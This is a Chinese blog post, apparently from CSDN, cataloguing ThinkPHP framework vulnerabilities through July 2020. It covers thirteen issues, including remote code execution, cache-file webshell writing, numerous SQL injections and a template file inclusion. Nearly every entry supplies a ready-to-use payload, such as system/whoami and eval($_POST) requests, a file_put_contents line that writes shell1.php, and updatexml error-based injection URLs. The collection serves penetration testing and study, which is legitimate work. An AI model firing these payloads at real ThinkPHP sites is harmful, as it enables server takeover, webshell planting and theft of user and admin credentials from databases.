[框架漏洞]Thinkphp系列漏洞【截至2020-07-20】

一、Thinkphp

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,因为受到众多开发人员的喜爱,其在市场的应用规模很大,自然也引起了众多安全人员的注意。因此在这里,对相关漏洞进行归纳和总结。

指纹为:X-Powered-By: ThinkPHP

二、安全漏洞

1.ThinkPHP 5.0.23远程代码执行

参考:http://zone.secevery.com/article/1165

  • 介绍:Thinkphp在实现框架中的核心类Request的method方法实现了表单请求伪装。但由于对$_POST[‘_method’]属性校验不严格,导致攻击者可以通过变量覆盖掉Request类的属性并结合框架特性实现对任意函数的调用,从而实现远程代码执行。
  • 影响版本:THINKPHP 5.0.x-5.0.23
  • 漏洞产生位置:ThinkPHPRequest 类的 method 方法中 (thinkphp/library/think/Request.php)
  • 挖掘方式
Method:POST
url中设置参数s=captcha
body数据:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

2.ThinkPHP 5.0.22远程代码执行

参考:http://zone.secevery.com/article/1165

  • 介绍:Thinkphp5.x版本(5.0.20)中没有对路由中的控制器进行严格过滤,在存在admin、index模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行
  • 影响版本:THINKPHP 5.0.5-5.0.22 、THINKPHP 5.1.0-5.1.30
  • 漏洞分析:参考https://www.secpulse.com/archives/93903.html即可
  • 挖掘方式
1.命令执行
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]=whoami 

2.代码执行
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=-1

3.写入文件
?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?php phpinfo();?>

3.ThinkPHP 2.2任意代码执行

参考:http://zone.secevery.com/article/1165

  • 影响版本:THINKPHP 2.x-2.2
  • 挖掘方式
/module/action/param1/${phpinfo()}
/module/action/param1/${eval($_POST[1])}                           
?s=/abc/abc/abc/${THINK_VERSION}
?s=/abc/abc/abc/${eval($_POST[1])}

4.ThinkPHP 前台缓存写shell

参考:https://www.cnblogs.com/-chenxs/p/12593865.html

利用条件:

  1. 开启缓存功能;
  2. 能够猜解出缓存文件名(文件名生成有一定规律)
  3. 缓存内容可控或部分可控,即找到写入的位置(一般与数据库交互的地方)

 

影响版本:ThinkPHP3.2.3-5.0.10

挖掘方式:主要分为数据交互写入恶意php语句,触发缓存数据,访问缓存文件三步。

tp3.2.3:

  • 找到与数据库交互的地方,一般是提交post数据的地方,写入任意php语句如%0d%0aphpinfo();//
  • 缓存文件路径:/Application/Runtime/Temp
  • 可能缓存文件名:b068931cc450442b63f5b3d276ea4297.php

onethink1.0:

  • thinkphp3开发
  • 缓存文件路径:/Runtime/Temp/
  • 默认缓存文件名:2bb202459c30a1628513f40ab22fa01a.php

tp5.0.10:

  • 缓存文件路径:/runtime/cache
  • 如果可能规则命名的md5值:b068931cc450442b63f5b3d276ea4297,那么缓存文件名为:/runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php
  • 写入的php语句开头需要换行,结尾需要注释掉后面的垃圾数据:换行利用url编码%0d%0a或者%0a,注释用 //。例如写入phpinfo(); 那么应该为:%0d%0aphpinfo();//

5.ThinkPHP 3.2.3/5.1.22 order by注入

漏洞介绍:
该漏洞是因为未正确处理所接收数组类型参数的key,直接拼接到了SQL语句的order by后面,导致漏洞的产生。该漏洞可以获取数据库数据,比如用户账号密码,管理后台账号密码,交易数据等。漏洞危害为高危。
 
影响版本
5.1.16<=ThinkPHP<=5.1.22,<=3.2.3
 
漏洞分析参考:
https://nosec.org/home/detail/1821.html
 
漏洞复现(内网环境)
在/application/index/controller/文件夹下建立Index.php文件,内容如下:

<?php
namespace app\index\controller;
class Index{
    public function index()    {
           $data=array();
         $data['username']=array('eq','admin');
        $order=input('get.orderby/a');
        $m=db('user')->where($data)->order($order)->find();
        Sdump($m);
   }
}
?>


访问192.168.10.53,选择对应版本
 
Poc/exp:
3.2.3

?order[updatexml(1,concat(0x3a,user()),1)]=1            


5.1.22 

?orderby[id`|updatexml(1,concat(0x3a,user()),1)%23]=1

图片7.png



6.Thinkphp3.2.3 find/select/delete注入

影响版本
Thinkphp<=3.2.3

漏洞分析参考:
https://www.anquanke.com/post/id/157817
 
漏洞复现(内网环境)
在Application\Home\Controller\IndexController.class.php 添加以下代码:

<?php 
public function test()  
{  
    $id = i('id');  
    $res = M('user')‐>find($id);
    //find()  //$res = M('user')‐>delete($id); //delete() 
    //$res = M('user')‐>select($id); //select()  
}


Poc/exp:
针对select() 和find()方法 ,有很多地方可注,这里主要列举三个table,alias, where,更多还请自行跟踪一下parseSql的各个parseXXX方法,目测都是可行 的,比如having,group等。
where: 

http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐

alias: 

http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,u ser(),0x7e),1)‐‐

table:

http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐

图片8.png



delete()方法的话同样,这里粗略举三个例子,table,alias,where,但使用table和alias的时候,同时还必须保证where不为空

where: 

http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐

alias: 

http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐

table: 

http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐&id[where]=1

图片9.png


 
7.ThinkPHP框架3.2.3 update注入漏洞

影响版本
Thinkphp<=3.2.3
 
漏洞分析参考:
https://www.seebug.org/vuldb/ssvid-97234
 
漏洞复现(内网环境)
在Application/Home/Controller/UserController.class.php添加以下代码:

<?php

namespace Home\Controller;
use Think\Controller;

class UserController extends Controller {

    public function index(){

        $User = M("user");
        $user['id'] = I('id');
        $data['name'] = I('name');
        $data['pass'] = I('pass');
        $valu = $User->where($user)->save($data);
        var_dump($valu);
    }
}




Poc/exp:

/index.php/home/user?name=1123&pass=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))

图片10.png

8.ThinkPHP 5.1.7 update注入

漏洞介绍
本次漏洞存在于 Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
 
影响版本
5.1.6<=Thinkphp<=5.1.7(非最新的 5.1.8 版本也可利用)
 
漏洞分析参考:
https://www.freebuf.com/column/206233.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:

class index
{
    public function indx()
    {
        $password=input('get.pass/a');
        db('user')->where(['id'=>1]->update(['pass'=>&password]));
    }
}


Poc/exp:

/index.php?pass[0]=inc&pass[1]=updatexml(2,concat(0x7e,user()),0)&pass[2]=1

图片11.png


 
9.ThinkPHP 5.0.15 insert注入

漏洞介绍
本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
 
影响版本
5.0.13<Thinkphp<=5.0.15,5.1.0<=thinkphp<=5.1.5
 
漏洞分析参考:
https://www.freebuf.com/column/205976.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:

class Index
{
    public function index()
    {
        $username = request()->get('name/a');
        db('user')->insert(['name' => $name]);
        return 'Update success';
    }
}


 Poc/exp:

/index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1

图片12.png


 
10.ThinkPHP5 select注入

漏洞介绍
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
 
影响版本
ThinkPHP5全版本
 
漏洞分析参考:
https://www.freebuf.com/column/206387.html
 
漏洞复现(内网环境
在\thinkphp\application\index\controller\Index.php添加以下代码:

class Index
{
    public function index()
    {
        $name = request()->get('name');
        $result = db('user')->where('name','exp',$name)->select();
        return 'select success';
    }
}


 Poc/exp:

/index/index/index?name=) union select updatexml(1,concat(0x7,user(),0x7e),1)#

图片13.png


 
11.ThinkPHP5.0.10 select注入

漏洞介绍
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。再一个, Request 类的 filterValue 方法漏过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。
 
影响版本
ThinkPHP 5.0.10
 
漏洞分析参考:
https://www.freebuf.com/column/206599.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:

class Index
{
    public function index()
    {
        $username = request()->get('name/a');
        $result = db('user')->where(['name' => $name])->select();
        var_dump($result);
    }
}


Poc/exp:

/index/index/index?name[0]=not like&name[1][0]=%%&name[1][1]=233&name[2]=) union select 1,user()#

图片14.png


 
12.ThinkPHP Mysql 聚合函数相关方法注入

漏洞介绍
本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。
 
影响版本 
5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。
 
漏洞分析参考:
https://www.freebuf.com/column/206599.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:

class Index
{
    public function index()
    {
        $options = request()->get('options');
        $result = db('user')->max($options);
        var_dump($result);
    }
}


Poc/exp:
不同版本payload需稍作调整
5.0.0~5.0.21 、 5.1.3~5.1.10:

/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from user%23

5.1.11~5.1.25:

/index/index/index?options=id)%2bupdatexml(1,concat(0×7,user(),0x7e),1) from user%23`
 
13.ThinkPHP5文件包含漏洞

漏洞介绍
本次漏洞存在于ThinkPHP模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。
 
影响版本 
5.0.0<=ThinkPHP5<=5.0.18、5.1.0<=ThinkPHP<=5.1.10
 
漏洞分析参考:
https://www.freebuf.com/column/207878.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:

class Index
{
     public function index()
    {
        $this->assign(request()->get());
        return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
    }
}

创建application/index/view/index/index.html文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马1.jpg放至public 目录下(模拟上传图片操作)。
 
Poc/exp:

/index.php/index/index/index?cacheFile=1.jpg
  • 8
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

东方隐侠-千里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值